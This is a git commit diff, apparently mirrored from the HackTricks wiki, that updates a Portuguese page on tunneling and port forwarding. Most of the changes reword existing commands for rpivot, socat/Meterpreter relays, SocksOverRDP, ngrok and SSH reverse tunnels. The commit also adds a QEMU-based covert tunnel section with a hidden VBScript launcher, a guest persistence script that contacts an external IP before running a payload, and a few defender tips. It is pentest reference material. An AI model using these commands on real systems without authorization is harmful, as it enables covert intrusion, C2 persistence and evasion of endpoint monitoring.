mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to p
This commit is contained in:
parent
a44d95fb8f
commit
fef9116d3c
@ -156,9 +156,9 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Para notar:
|
||||
|
||||
- O **reverso de porta do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
|
||||
- O encaminhamento de porta reverso do Beacon é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
|
||||
- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
|
||||
- **Privilégios de administrador não são necessários** para criar reversos de porta em portas altas.
|
||||
- **Privilégios de administrador não são necessários** para criar encaminhamentos de porta reversos em portas altas.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Fazer pivot através do **NTLM proxy**
|
||||
Pivotar através do **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter através de SSL Socat
|
||||
### Meterpreter através do SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -356,7 +356,7 @@ No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||||
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** dizendo que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||||
|
||||
**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
@ -394,7 +394,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Agora, se você configurar, por exemplo, no alvo, o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
|
||||
|
||||
## YARP
|
||||
@ -444,7 +444,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Mudar o DNS do proxychains
|
||||
|
||||
Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
|
||||
Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
|
||||
|
||||
## Túneis em Go
|
||||
|
||||
@ -498,7 +498,7 @@ chmod a+x ./ngrok
|
||||
|
||||
**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
_Também é possível adicionar autenticação e TLS, se necessário._
|
||||
_É também possível adicionar autenticação e TLS, se necessário._
|
||||
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
@ -513,12 +513,12 @@ _Também é possível adicionar autenticação e TLS, se necessário._
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Captura de chamadas HTTP
|
||||
#### Capturando chamadas HTTP
|
||||
|
||||
_Util útil para XSS, SSRF, SSTI ..._\
|
||||
_Utilizado para XSS, SSRF, SSTI ..._\
|
||||
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunelamento de serviço HTTP interno
|
||||
#### Tunelando serviço HTTP interno
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
@ -608,9 +608,67 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
|
||||
```
|
||||
O comando acima publica a porta da vítima **8080** como **attacker_ip:9000** sem implantar nenhuma ferramenta adicional – ideal para pivotar vivendo da terra.
|
||||
|
||||
## Túneis encobertos baseados em VM com QEMU
|
||||
|
||||
A rede em modo usuário do QEMU (`-netdev user`) suporta uma opção chamada `hostfwd` que **vincula uma porta TCP/UDP no *host* e a encaminha para o *guest***. Quando o guest executa um daemon SSH completo, a regra hostfwd fornece a você uma caixa de salto SSH descartável que vive inteiramente dentro de uma VM efêmera – perfeita para ocultar o tráfego C2 do EDR, pois toda atividade e arquivos maliciosos permanecem no disco virtual.
|
||||
|
||||
### Linha de comando rápida
|
||||
```powershell
|
||||
# Windows victim (no admin rights, no driver install – portable binaries only)
|
||||
qemu-system-x86_64.exe ^
|
||||
-m 256M ^
|
||||
-drive file=tc.qcow2,if=ide ^
|
||||
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
|
||||
-device e1000,netdev=n0 ^
|
||||
-nographic
|
||||
```
|
||||
• O comando acima inicia uma imagem **Tiny Core Linux** (`tc.qcow2`) na RAM.
|
||||
• A porta **2222/tcp** no host Windows é encaminhada de forma transparente para **22/tcp** dentro do convidado.
|
||||
• Do ponto de vista do atacante, o alvo simplesmente expõe a porta 2222; quaisquer pacotes que a alcancem são tratados pelo servidor SSH em execução na VM.
|
||||
|
||||
### Lançando de forma furtiva através do VBScript
|
||||
```vb
|
||||
' update.vbs – lived in C:\ProgramData\update
|
||||
Set o = CreateObject("Wscript.Shell")
|
||||
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
|
||||
```
|
||||
Executar o script com `cscript.exe //B update.vbs` mantém a janela oculta.
|
||||
|
||||
### Persistência em convidado
|
||||
|
||||
Como o Tiny Core é sem estado, os atacantes geralmente:
|
||||
|
||||
1. Colocam o payload em `/opt/123.out`
|
||||
2. Adicionam ao `/opt/bootlocal.sh`:
|
||||
|
||||
```sh
|
||||
while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
/opt/123.out
|
||||
```
|
||||
|
||||
3. Adicionam `home/tc` e `opt` ao `/opt/filetool.lst` para que o payload seja empacotado em `mydata.tgz` ao desligar.
|
||||
|
||||
### Por que isso evita a detecção
|
||||
|
||||
• Apenas dois executáveis não assinados (`qemu-system-*.exe`) acessam o disco; nenhum driver ou serviço é instalado.
|
||||
• Produtos de segurança no host veem **tráfego de loopback benigno** (o C2 real termina dentro da VM).
|
||||
• Scanners de memória nunca analisam o espaço do processo malicioso porque ele vive em um sistema operacional diferente.
|
||||
|
||||
### Dicas para o Defender
|
||||
|
||||
• Alerta sobre **binários inesperados do QEMU/VirtualBox/KVM** em caminhos graváveis pelo usuário.
|
||||
• Bloquear conexões de saída que se originam de `qemu-system*.exe`.
|
||||
• Caçar por portas de escuta raras (2222, 10022, …) que se vinculam imediatamente após um lançamento do QEMU.
|
||||
|
||||
---
|
||||
|
||||
## Outras ferramentas para verificar
|
||||
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
## Referências
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user